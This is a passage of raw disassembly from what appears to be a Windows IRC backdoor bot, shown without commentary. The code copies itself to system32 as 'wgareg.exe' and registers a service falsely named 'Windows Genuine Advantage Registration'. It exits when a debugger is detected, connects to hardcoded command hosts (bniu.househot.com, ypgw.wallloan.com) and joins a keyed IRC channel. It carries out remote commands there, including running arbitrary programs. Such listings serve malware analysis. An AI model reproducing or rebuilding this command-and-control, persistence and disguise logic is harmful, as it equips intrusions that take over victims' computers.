"C:\\WINDOWS\\system32\\wgareg.exe" push offset dword_4016B8 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wgareg.exe" call dword_401104 ; wsprintfA add esp, 10h push 20h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wgareg.exe" call dword_4010C4 ; SetFileAttributesA and [ebp+var_4], 0 jmp short loc_40269B ; --------------------------------------------------------------------------- loc_402694: ; CODE XREF: sub_402650+74j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40269B: ; CODE XREF: sub_402650+42j cmp [ebp+var_4], 5 jge short loc_4026C6 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wgareg.exe" push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call dword_4010C8 ; CopyFileA test eax, eax jz short loc_4026B9 jmp short loc_4026C6 ; --------------------------------------------------------------------------- loc_4026B9: ; CODE XREF: sub_402650+65j push 1400h call dword_4010DC ; Sleep jmp short loc_402694 ; --------------------------------------------------------------------------- loc_4026C6: ; CODE XREF: sub_402650+4Fj ; sub_402650+67j call sub_4026D6 test eax, eax jz short locret_4026D4 call sub_4037DC locret_4026D4: ; CODE XREF: sub_402650+7Dj leave retn sub_402650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026D6 proc near ; CODE XREF: sub_402650:loc_4026C6p var_128 = byte ptr -128h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 128h push 12h push 0 push 0 call dword_401008 ; OpenSCManagerA mov [ebp+var_18], eax push 10h push offset aWgareg ; "wgareg" push [ebp+var_18] call dword_401004 ; OpenServiceA mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz loc_4027A0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wgareg.exe" push 0 push 2 push 110h push 40012h push offset aWindowsGenuine ; "Windows Genuine Advantage Registration "... push offset aWgareg ; "wgareg" push [ebp+var_18] call dword_40103C ; CreateServiceA mov [ebp+var_20], eax mov [ebp+var_28], 1 and [ebp+var_24], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_28] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push [ebp+var_20] call dword_401028 ; ChangeServiceConfig2A push 100h push offset aEnsuresThatYou ; "Ensures that your copy of Microsoft Win"... lea eax, [ebp+var_128] push eax call dword_4010BC ; lstrcpynA lea eax, [ebp+var_128] mov [ebp+var_1C], eax lea eax, [ebp+var_1C] push eax push 1 push [ebp+var_20] call dword_401028 ; ChangeServiceConfig2A loc_4027A0: ; CODE XREF: sub_4026D6+2Fj push 0 push 0 push [ebp+var_20] call dword_401038 ; StartServiceA leave retn sub_4026D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027AF proc near ; CODE XREF: sub_403062+16Dp ; sub_404CE7+1B2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 10000h push 0 push 0 call dword_401008 ; OpenSCManagerA mov [ebp+var_4], eax push 10000h push offset aWgareg ; "wgareg" push [ebp+var_4] call dword_401004 ; OpenServiceA mov [ebp+var_8], eax push [ebp+var_8] call dword_401010 ; DeleteService push [ebp+var_8] call dword_40100C ; CloseServiceHandle push [ebp+var_4] call dword_40100C ; CloseServiceHandle call sub_4037DC leave retn sub_4027AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027FE proc near ; CODE XREF: MEW:004025C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call dword_4010B8 ; GetModuleFileNameA mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr aCM_unpackerPac[eax], 0 ; "C:\\m_unpacker\\packed.exe" push 44h push offset dword_401600 call sub_4038D9 mov dword_401600, 44h mov dword_40162C, 81h and word_401630, 0 leave retn sub_4027FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40284B proc near ; CODE XREF: MEW:004025B5p push ebp mov ebp, esp push 0 push 0 push 0 push offset loc_402865 push 0 push 0 call dword_4010B4 ; CreateThread pop ebp retn ; --------------------------------------------------------------------------- loc_402865: ; DATA XREF: sub_40284B+9o push ebp mov ebp, esp loc_402868: ; CODE XREF: sub_40284B+3Aj call dword_4010B0 ; IsDebuggerPresent test eax, eax jz short loc_40287A push 0 call dword_4010D4 ; ExitProcess loc_40287A: ; CODE XREF: sub_40284B+25j push 80h call dword_4010DC ; Sleep jmp short loc_402868 sub_40284B endp ; --------------------------------------------------------------------------- db 5Dh db 0C2h, 4, 0 ; --------------------------------------------------------------------------- loc_40288B: ; DATA XREF: MEW:004025A6o push ebp mov ebp, esp sub esp, 20h push offset loc_4028CC push offset aWgareg ; "wgareg" call dword_401018 ; RegisterServiceCtrlHandlerA mov [ebp-20h], eax mov dword ptr [ebp-1Ch], 10h mov dword ptr [ebp-18h], 4 and dword ptr [ebp-14h], 0 lea eax, [ebp-1Ch] push eax push dword ptr [ebp-20h] call dword_401014 ; SetServiceStatus call sub_4025F4 ; --------------------------------------------------------------------------- dd 8C2C9h ; --------------------------------------------------------------------------- loc_4028CC: ; DATA XREF: MEW:00402891o push ebp mov ebp, esp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028D3 proc near ; CODE XREF: sub_4025F4:loc_40263Cp var_544 = dword ptr -544h var_540 = dword ptr -540h var_53C = word ptr -53Ch var_53A = word ptr -53Ah var_538 = dword ptr -538h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = byte ptr -520h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 544h call sub_403A18 cmp dword_401290, offset aBniu_househot_ ; "bniu.househot.com" jnz short loc_402905 mov dword_401290, offset aYpgw_wallloan_ ; "ypgw.wallloan.com" mov ax, word_4016F4 mov word_401294, ax jmp short loc_40291B ; --------------------------------------------------------------------------- loc_402905: ; CODE XREF: sub_4028D3+18j mov dword_401290, offset aBniu_househot_ ; "bniu.househot.com" mov ax, word_4016DC mov word_401294, ax loc_40291B: ; CODE XREF: sub_4028D3+30j push dword_401290 call dword_401120 ; gethostbyname mov [ebp+var_11C], eax cmp [ebp+var_11C], 0 jnz short loc_40293B jmp locret_402C51 ; --------------------------------------------------------------------------- loc_40293B: ; CODE XREF: sub_4028D3+61j and dword_40128C, 0 mov eax, dword_40128C mov dword_401288, eax mov eax, [ebp+var_11C] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_538], eax mov [ebp+var_53C], 2 mov ax, word_401294 mov [ebp+var_53A], ax push 6 push 1 push 2 call dword_401160 ; socket mov dword_4014DC, eax mov [ebp+var_10], 1 push 4 lea eax, [ebp+var_10] push eax push 8 push 0FFFFh push dword_4014DC call dword_401128 ; setsockopt push 10h lea eax, [ebp+var_53C] push eax push dword_4014DC call dword_40112C ; connect push 0 push 0Dh push offset aUserLLLL ; "USeR l l l l\n" push dword_4014DC call dword_401130 ; send call sub_4034BB push 20h push offset dword_401498 push offset dword_4014A8 call dword_4010BC ; lstrcpynA push offset dword_4014A8 push offset aNick_24s ; "NiCK %.24s\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 0Ch mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send mov [ebp+var_4], 10h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_53C] push eax push dword_4014DC call dword_401134 ; getsockname mov eax, [ebp+var_538] mov dword_4014D4, eax and [ebp+var_4], 0 and [ebp+var_118], 0 loc_402A51: ; CODE XREF: sub_4028D3+1F4j and [ebp+var_540], 0 jmp short loc_402A67 ; --------------------------------------------------------------------------- loc_402A5A: ; CODE XREF: sub_4028D3:loc_402A8Cj mov eax, [ebp+var_540] inc eax mov [ebp+var_540], eax loc_402A67: ; CODE XREF: sub_4028D3+185j mov eax, [ebp+var_540] cmp eax, [ebp+var_118] jnb short loc_402A8E mov eax, [ebp+var_540] mov eax, [ebp+eax*4+var_114] cmp eax, dword_4014DC jnz short loc_402A8C jmp short loc_402A8E ; --------------------------------------------------------------------------- loc_402A8C: ; CODE XREF: sub_4028D3+1B5j jmp short loc_402A5A ; --------------------------------------------------------------------------- loc_402A8E: ; CODE XREF: sub_4028D3+1A0j ; sub_4028D3+1B7j mov eax, [ebp+var_540] cmp eax, [ebp+var_118] jnz short loc_402AC5 cmp [ebp+var_118], 40h jnb short loc_402AC5 mov eax, [ebp+var_540] mov ecx, dword_4014DC mov [ebp+eax*4+var_114], ecx mov eax, [ebp+var_118] inc eax mov [ebp+var_118], eax loc_402AC5: ; CODE XREF: sub_4028D3+1C7j ; sub_4028D3+1D0j xor eax, eax jnz short loc_402A51 mov eax, dword_401708 mov [ebp+var_528], eax and [ebp+var_524], 0 loc_402ADB: ; CODE XREF: sub_4028D3+36Dj lea eax, [ebp+var_528] push eax push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_401138 ; select cmp eax, 1 jnz loc_402C45 push 0 mov eax, 400h sub eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebp+eax+var_520] push eax push dword_4014DC call dword_40113C ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jg short loc_402B2E jmp loc_402C45 ; --------------------------------------------------------------------------- loc_402B2E: ; CODE XREF: sub_4028D3+254j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+eax+var_520], 0 lea eax, [ebp+var_520] mov [ebp+var_52C], eax loc_402B4E: ; CODE XREF: sub_4028D3:loc_402BBBj mov eax, [ebp+var_52C] movsx eax, byte ptr [eax] test eax, eax jz short loc_402BBD push 0Dh push [ebp+var_52C] call sub_40395A mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402B8F mov eax, [ebp+var_C] mov byte ptr [eax], 0 push [ebp+var_52C] call sub_402C9E mov eax, [ebp+var_C] inc eax inc eax mov [ebp+var_52C], eax jmp short loc_402BBB ; --------------------------------------------------------------------------- loc_402B8F: ; CODE XREF: sub_4028D3+29Cj mov eax, [ebp+var_4] lea eax, [ebp+eax+var_520] sub eax, [ebp+var_52C] mov [ebp+var_4], eax mov eax, [ebp+var_4] inc eax push eax push [ebp+var_52C] lea eax, [ebp+var_520] push eax call sub_40392B jmp short loc_402BC1 ; --------------------------------------------------------------------------- loc_402BBB: ; CODE XREF: sub_4028D3+2BAj jmp short loc_402B4E ; --------------------------------------------------------------------------- loc_402BBD: ; CODE XREF: sub_4028D3+286j and [ebp+var_4], 0 loc_402BC1: ; CODE XREF: sub_4028D3+2E6j and [ebp+var_118], 0 loc_402BC8: ; CODE XREF: sub_4028D3+36Bj and [ebp+var_544], 0 jmp short loc_402BDE ; --------------------------------------------------------------------------- loc_402BD1: ; CODE XREF: sub_4028D3:loc_402C03j mov eax, [ebp+var_544] inc eax mov [ebp+var_544], eax loc_402BDE: ; CODE XREF: sub_4028D3+2FCj mov eax, [ebp+var_544] cmp eax, [ebp+var_118] jnb short loc_402C05 mov eax, [ebp+var_544] mov eax, [ebp+eax*4+var_114] cmp eax, dword_4014DC jnz short loc_402C03 jmp short loc_402C05 ; --------------------------------------------------------------------------- loc_402C03: ; CODE XREF: sub_4028D3+32Cj jmp short loc_402BD1 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_4028D3+317j ; sub_4028D3+32Ej mov eax, [ebp+var_544] cmp eax, [ebp+var_118] jnz short loc_402C3C cmp [ebp+var_118], 40h jnb short loc_402C3C mov eax, [ebp+var_544] mov ecx, dword_4014DC mov [ebp+eax*4+var_114], ecx mov eax, [ebp+var_118] inc eax mov [ebp+var_118], eax loc_402C3C: ; CODE XREF: sub_4028D3+33Ej ; sub_4028D3+347j xor eax, eax jnz short loc_402BC8 jmp loc_402ADB ; --------------------------------------------------------------------------- loc_402C45: ; CODE XREF: sub_4028D3+225j ; sub_4028D3+256j push dword_4014DC call dword_401140 ; closesocket locret_402C51: ; CODE XREF: sub_4028D3+63j leave retn sub_4028D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C53 proc near ; CODE XREF: sub_403062+3C9p ; sub_403062+40Dp ... var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push [ebp+arg_0] push offset dword_4016F8 push offset aPrivmsg_16s_48 ; "PRiVMSG %.16s :%.480s\n" lea eax, [ebp+var_200] push eax call dword_401104 ; wsprintfA add esp, 10h mov [ebp+var_204], eax push 0 push [ebp+var_204] lea eax, [ebp+var_200] push eax push dword_4014DC call dword_401130 ; send leave retn 4 sub_402C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C9E proc near ; CODE XREF: sub_4028D3+2AAp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_402CDD mov eax, [ebp+arg_0] inc eax mov [ebp+var_4], eax push 20h push [ebp+var_4] call sub_40395A mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_402CCE jmp locret_40305E ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402C9E+29j mov eax, [ebp+var_C] mov byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_402CE7 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402C9E+Fj and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax loc_402CE7: ; CODE XREF: sub_402C9E+3Dj push 20h push [ebp+var_C] call sub_40395A mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_402D01 jmp locret_40305E ; --------------------------------------------------------------------------- db 0EBh db 0Dh ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_402C9E+5Aj mov eax, [ebp+var_8] mov byte ptr [eax], 0 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax push offset aPing ; "PING" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz short loc_402D59 push [ebp+var_8] push offset aPong_500s_0 ; "PoNG %.500s\r\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 0Ch mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send jmp locret_40305E ; --------------------------------------------------------------------------- loc_402D59: ; CODE XREF: sub_402C9E+80j push offset aPrivmsg ; "PRIVMSG" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz loc_402E05 and [ebp+var_10], 0 cmp [ebp+var_4], 0 jz short loc_402D92 push [ebp+var_4] push offset dword_401710 call sub_403E5B cmp eax, 1 jnz short loc_402D92 mov [ebp+var_10], 1 loc_402D92: ; CODE XREF: sub_402C9E+D9j ; sub_402C9E+EBj push 20h push [ebp+var_8] call sub_40395A mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_402E00 mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax mov eax, [ebp+var_14] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_402DBE mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_402DBE: ; CODE XREF: sub_402C9E+117j cmp [ebp+var_10], 1 jnz short loc_402E00 mov eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, byte_4016DA cmp eax, ecx jnz short loc_402DE3 push 0 mov eax, [ebp+var_14] inc eax push eax call sub_403062 jmp short loc_402E00 ; --------------------------------------------------------------------------- loc_402DE3: ; CODE XREF: sub_402C9E+135j mov eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, byte_4016DB cmp eax, ecx jnz short loc_402E00 push 1 mov eax, [ebp+var_14] inc eax push eax call sub_403062 loc_402E00: ; CODE XREF: sub_402C9E+105j ; sub_402C9E+124j ... jmp locret_40305E ; --------------------------------------------------------------------------- loc_402E05: ; CODE XREF: sub_402C9E+CBj push offset a433 ; "433" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz short loc_402E72 cmp dword_40128C, 0 jnz short loc_402E6D call sub_4034BB push 20h push offset dword_401498 push offset dword_4014A8 call dword_4010BC ; lstrcpynA push offset dword_4014A8 push offset aNick_24s ; "NiCK %.24s\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 0Ch mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send loc_402E6D: ; CODE XREF: sub_402C9E+180j jmp locret_40305E ; --------------------------------------------------------------------------- loc_402E72: ; CODE XREF: sub_402C9E+177j push offset a332 ; "332" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz loc_402F16 push 20h push [ebp+var_8] call sub_40395A mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_402EA4 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax jmp short loc_402EA9 ; --------------------------------------------------------------------------- loc_402EA4: ; CODE XREF: sub_402C9E+1FBj jmp locret_40305E ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_402C9E+204j push 20h push [ebp+var_18] call sub_40395A mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_402F11 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_402ED5 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_402ED5: ; CODE XREF: sub_402C9E+22Ej mov eax, [ebp+var_18] movsx eax, byte ptr [eax] movsx ecx, byte_4016DA cmp eax, ecx jnz short loc_402EF4 push 0 mov eax, [ebp+var_18] inc eax push eax call sub_403062 jmp short loc_402F11 ; --------------------------------------------------------------------------- loc_402EF4: ; CODE XREF: sub_402C9E+246j mov eax, [ebp+var_18] movsx eax, byte ptr [eax] movsx ecx, byte_4016DB cmp eax, ecx jnz short loc_402F11 push 1 mov eax, [ebp+var_18] inc eax push eax call sub_403062 loc_402F11: ; CODE XREF: sub_402C9E+21Cj ; sub_402C9E+254j ... jmp locret_40305E ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402C9E+1E4j push offset a302 ; "302" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz loc_402FC4 cmp dword_401288, 0 jnz loc_402FC4 push 40h push [ebp+var_8] call sub_40395A mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_402FBA mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax push 20h push [ebp+var_1C] call sub_40395A mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_402F6C mov eax, [ebp+var_20] mov byte ptr [eax], 0 loc_402F6C: ; CODE XREF: sub_402C9E+2C6j push [ebp+var_1C] call dword_40111C ; inet_addr mov dword_4014D8, eax cmp dword_4014D8, 0FFFFFFFFh jnz short loc_402FB0 push [ebp+var_1C] call dword_401120 ; gethostbyname mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_402FAE mov eax, [ebp+var_24] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov dword_4014D8, eax mov dword_401288, 1 loc_402FAE: ; CODE XREF: sub_402C9E+2F5j jmp short loc_402FBA ; --------------------------------------------------------------------------- loc_402FB0: ; CODE XREF: sub_402C9E+2E3j mov dword_401288, 1 loc_402FBA: ; CODE XREF: sub_402C9E+2ACj ; sub_402C9E:loc_402FAEj call sub_403A51 jmp locret_40305E ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_402C9E+288j ; sub_402C9E+295j push offset a001 ; "001" push [ebp+var_C] call dword_4010AC ; lstrcmpA test eax, eax jnz locret_40305E cmp dword_40128C, 0 jnz short locret_40305E mov dword_40128C, 1 push offset dword_4014A8 push offset aUserhost_16s ; "USeRHOST %.16s\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 0Ch mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send push offset aNert4mp1 ; "nert4mp1" push offset dword_4016F8 push offset aJoin_16s_16s ; "JOiN %.16s %.16s\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 10h mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send locret_40305E: ; CODE XREF: sub_402C9E+2Bj ; sub_402C9E+5Cj ... leave retn 4 sub_402C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403062 proc near ; CODE XREF: sub_402C9E+13Ep ; sub_402C9E+15Dp ... var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov [ebp+var_420], eax cmp [ebp+var_420], 61h jg loc_403119 cmp [ebp+var_420], 61h jz loc_4032F6 cmp [ebp+var_420], 49h jg short loc_4030E0 cmp [ebp+var_420], 49h jz loc_403338 cmp [ebp+var_420], 43h jz loc_40332E cmp [ebp+var_420], 44h jz loc_403480 cmp [ebp+var_420], 45h jz loc_403435 cmp [ebp+var_420], 46h jz loc_4033B0 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4030E0: ; CODE XREF: sub_403062+36j cmp [ebp+var_420], 4Ch jz loc_403394 cmp [ebp+var_420], 51h jz loc_4031D9 cmp [ebp+var_420], 52h jz loc_4031AE cmp [ebp+var_420], 53h jz loc_4033D9 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403119: ; CODE XREF: sub_403062+1Cj cmp [ebp+var_420], 6Ch jg short loc_403175 cmp [ebp+var_420], 6Ch jz loc_403382 cmp [ebp+var_420], 63h jz loc_403312 cmp [ebp+var_420], 65h jz loc_403354 cmp [ebp+var_420], 66h jz loc_4033A6 cmp [ebp+var_420], 68h jz loc_403487 cmp [ebp+var_420], 69h jz loc_4032AE jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403175: ; CODE XREF: sub_403062+BEj cmp [ebp+var_420], 6Eh jz loc_4033E3 cmp [ebp+var_420], 71h jz loc_4034A0 cmp [ebp+var_420], 73h jz loc_4033BA cmp [ebp+var_420], 75h jz loc_403354 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4031AE: ; CODE XREF: sub_403062+9Fj push 0 push 5 push offset aQuit ; "QUiT\n" push dword_4014DC call dword_401130 ; send push dword_4014DC call dword_401140 ; closesocket call sub_4027AF jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4031D9: ; CODE XREF: sub_403062+92j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz loc_4032A9 mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+var_40C], eax and [ebp+var_408], 0 and [ebp+var_404], 0 jmp short loc_403212 ; --------------------------------------------------------------------------- loc_403204: ; CODE XREF: sub_403062+225j mov eax, [ebp+var_408] inc eax inc eax mov [ebp+var_408], eax loc_403212: ; CODE XREF: sub_403062+1A0j mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax] test eax, eax jz short loc_40328C mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax] sub eax, 61h shl eax, 4 mov ecx, [ebp+var_404] mov [ebp+ecx+var_400], al mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax+1] sub eax, 61h movsx eax, al mov ecx, [ebp+var_404] movsx ecx, [ebp+ecx+var_400] add ecx, eax mov eax, [ebp+var_404] mov [ebp+eax+var_400], cl mov eax, [ebp+var_404] inc eax mov [ebp+var_404], eax jmp loc_403204 ; --------------------------------------------------------------------------- loc_40328C: ; CODE XREF: sub_403062+1C1j mov eax, [ebp+var_404] mov [ebp+eax+var_400], 0 push [ebp+arg_4] lea eax, [ebp+var_400] push eax call sub_403062 loc_4032A9: ; CODE XREF: sub_403062+181j jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4032AE: ; CODE XREF: sub_403062+108j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_4032F1 mov eax, [ebp+arg_0] inc eax inc eax push eax push offset a_500s ; "%.500s\n" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 0Ch mov dword_4014C8, eax push 0 push dword_4014C8 push offset dword_401298 push dword_4014DC call dword_401130 ; send loc_4032F1: ; CODE XREF: sub_403062+256j jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4032F6: ; CODE XREF: sub_403062+29j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_40330D mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_40553F loc_40330D: ; CODE XREF: sub_403062+29Ej jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403312: ; CODE XREF: sub_403062+D4j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_403329 mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_404F02 loc_403329: ; CODE XREF: sub_403062+2BAj jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_40332E: ; CODE XREF: sub_403062+4Cj call sub_404FBF jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403338: ; CODE XREF: sub_403062+3Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_40334F mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_404FCE loc_40334F: ; CODE XREF: sub_403062+2E0j jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403354: ; CODE XREF: sub_403062+E1j ; sub_403062+141j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_40337D push [ebp+arg_4] mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] sub eax, 75h neg eax sbb eax, eax inc eax push eax mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_404CE7 loc_40337D: ; CODE XREF: sub_403062+2FCj jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403382: ; CODE XREF: sub_403062+C7j mov eax, [ebp+arg_4] mov dword_40167C, eax call sub_403A51 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403394: ; CODE XREF: sub_403062+85j mov eax, [ebp+arg_4] mov dword_40167C, eax call sub_403A96 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4033A6: ; CODE XREF: sub_403062+EEj call sub_4048CF jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4033B0: ; CODE XREF: sub_403062+73j call sub_4048F9 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4033BA: ; CODE XREF: sub_403062+134j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_4033D4 push [ebp+arg_4] mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_4043B4 loc_4033D4: ; CODE XREF: sub_403062+362j jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4033D9: ; CODE XREF: sub_403062+ACj call sub_4044C0 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_4033E3: ; CODE XREF: sub_403062+11Aj push 10h push dword_4014D4 call dword_401164 ; inet_ntoa push eax lea eax, [ebp+var_41C] push eax call dword_4010BC ; lstrcpynA push dword_4014D8 call dword_401164 ; inet_ntoa push eax lea eax, [ebp+var_41C] push eax push offset aNi_16s_16s ; "[ni] %.16s %.16s" push offset dword_401298 call dword_401104 ; wsprintfA add esp, 10h push offset dword_401298 call sub_402C53 jmp locret_4034B7 ; --------------------------------------------------------------------------- loc_403435: ; CODE XREF: sub_403062+66j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_403480 push offset aD ; "d" push offset dword_401600 push 0 push 0 push 28h push 0 push 0 push 0 mov eax, [ebp+arg_0] inc eax inc eax push eax push 0 call dword_4010A8 ; CreateProcessA cmp eax, 1 jnz short loc_403476 push offset aExec_0 ; "[exec] :)" call sub_402C53 jmp short loc_403480 ; --------------------------------------------------------------------------- loc_403476: ; CODE XREF: sub_403062+406j push offset aExec ; "[exec] :(" call sub_402C53 loc_403480: ; CODE XREF: sub_403062+59j ; sub_403062+3DDj ... call sub_403A18 jmp short locret_4034B7 ; --------------------------------------------------------------------------- loc_403487: ; CODE XREF: sub_403062+FBj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_40349E mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_40414F loc_40349E: ; CODE XREF: sub_403062+42Fj jmp short locret_4034B7 ; --------------------------------------------------------------------------- loc_4034A0: ; CODE XREF: sub_403062+127j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short locret_4034B7 mov eax, 